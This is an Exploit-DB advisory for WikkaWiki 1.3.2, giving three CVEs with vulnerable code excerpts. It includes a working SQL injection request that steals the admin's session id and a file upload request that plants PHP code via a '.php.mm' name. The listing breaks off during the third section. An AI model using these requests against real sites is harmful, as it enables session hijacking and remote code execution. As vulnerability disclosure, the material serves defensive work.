Exploit-DB #18177
Description: WikkaWiki 1.3.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-30
Author: EgiX

Exploit:
  ----------------------------------------------------
  WikkaWiki <= 1.3.2 Multiple Security Vulnerabilities
  ----------------------------------------------------
  
  author............: Egidio Romano aka EgiX
  mail..............: n0b0d13s[at]gmail[dot]com
  software link.....: http://wikkawiki.org/
  
  
  +---------------------------------------------------+
  | SQL Injection in UPDATE statement (CVE-2011-4448) |
  +---------------------------------------------------+
  
  The vulnerable code is located in /actions/usersettings/usersettings.php
  
  140.            default: // input is valid
  141.            $this->Query("
  142.                UPDATE ".$this->GetConfigValue('table_prefix')."users
  143.                SET email = '".mysql_real_escape_string($email)."',
  144.                    doubleclickedit = '".mysql_real_escape_string($doubleclickedit)."',
  145.                    show_comments = '".mysql_real_escape_string($show_comments)."',
  146.                    default_comment_display = '".$default_comment_display."',
  147.                    revisioncount = ".$revisioncount.",
  148.                    changescount = ".$changescount.",
  149.                    theme = '".mysql_real_escape_string($usertheme)."'                
  150.                WHERE name = '".$user['name']."'
  151.                LIMIT 1"
  152.                );
  
  When handling  'update' action,  'default_comment_display' is  the only parameter  that isn't  sanitized with
  mysql_real_escape_string(), this can be exploited to inject arbitrary SQL code. Because of this is a multiple
  lines query and latest version of MySQL doesn't allow to start comment with /* no followed by a */, sometimes
  It's impossible  to alter the  'users' table content  for e.g.  changing the  admin's password, but  is still
  possible to inject a subquery to fetch for e.g. the session id of admin for a Session Hijacking attack.
  This is a proof of concept request:
  
   POST /wikka/UserSettings HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6
   Content-Length: 140
   Content-Type: application/x-www-form-urlencoded
   Connection: keep-alive

   action=update&email=test%40test.com&default_comment_display=',email=(SELECT sessionid FROM wikka_sessions WHERE userid='WikiAdmin'),theme='

  If admin is currently logged in, attacker will see his session id in the email field of 'UserSettings' form.
  If admin doesn't  explicitly logout (for e.g. close  the browser before click on 'Logout'  link) his session
  remains however  stored into  DB, so  this attack  could success also  if admin  isn't currently  logged in.
  Successful exploitation no needs magic_quotes_gpc = off because of 'magicQuotesWorkaround' function.
  
  
  +------------------------------------------+
  | Unrestricted File Upload (CVE-2011-4449) |
  +------------------------------------------+
  
  The vulnerable code is located in /actions/files/files.php
  
  266.            elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name']))
  267.            {
  268.                $strippedname = str_replace('\'', '', $_FILES['file']['name']);
  269.                $strippedname = rawurlencode($strippedname);
  270.                $strippedname = stripslashes($strippedname);
  271.                $destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname; #89
  272.    
  273.                if (!file_exists($destfile))
  274.                {
  275.                    if (move_uploaded_file($_FILES['file']['tmp_name'], $destfile))
  276.                    {
  277.                        $notification_msg = T_("File was successfully uploaded.");
  278.                    }
  
  If 'INTRANET_MODE' is explicitly enabled or if an attacker conduct a successful Session Hijacking attack
  using the first  vulnerability, It's possible to  upload files that contains multiple  extensions due to
  insufficient input sanitization at line 266. Now look at $allowed_extensions variable definition:
  
  'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'
  
  It contains some extensions  (e.g. mm, vpp...) that are rare to see in  a MIME type Apache configuration
  setting, and this could lead to execution of arbitrary PHP code. Proof of concept upload request:
  
   POST /wikka/test HTTP/1.1
   Host: localhost
   Cookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3
   Content-Length: 251
   Content-Type: multipart/form-data; boundary=-------[PII_REDACTED]
   Connection: keep-alive
   
   ---------[PII_REDACTED]
   Content-Disposition: form-data; name="file"; filename="test.php.mm"
   Content-Type: application/octet-stream
   
   <?php phpinfo(); ?>
   ---------[PII_REDACTED]
   Content-Disposition: form-data; name="upload"
   
   Upload
   ---------[PII_REDACTED]--
   
  Where 'test' is a page containing the {{files}} action.
   
   
  +---------------------------------------------------------------------+
  | Arbitrary File Download and Arbitrary File Deletion (CVE-2011-4450) |
  +---------------------------------------------------------------------+
  
  The vulnerable code is located in /handlers/files.xml/files.xml.php
  
  53.    $file = $this->GetSafeVar('file', 'get');
  54.    if ('.' == $file{0})
  55.    {
  56.        $this->Redirect($this->Href(), T_("Sorry, files of this type are not allowed."));
  57.    }
  58.    // do the action
  59.    $action = $this->GetSafeVar('action', 'get');
  60.    switch ($action)    # #312
  61.    {
  62.        // @@@ shared download code
  63.        case 'download':
  64.            header('Accept-Ranges: bytes');
  65.            $_GET['file'] = basename($file); # #312
  66.            $path = $upload_path.DIRECTORY_SEPARATOR.$file;    # #89, #312
  
  ...

  101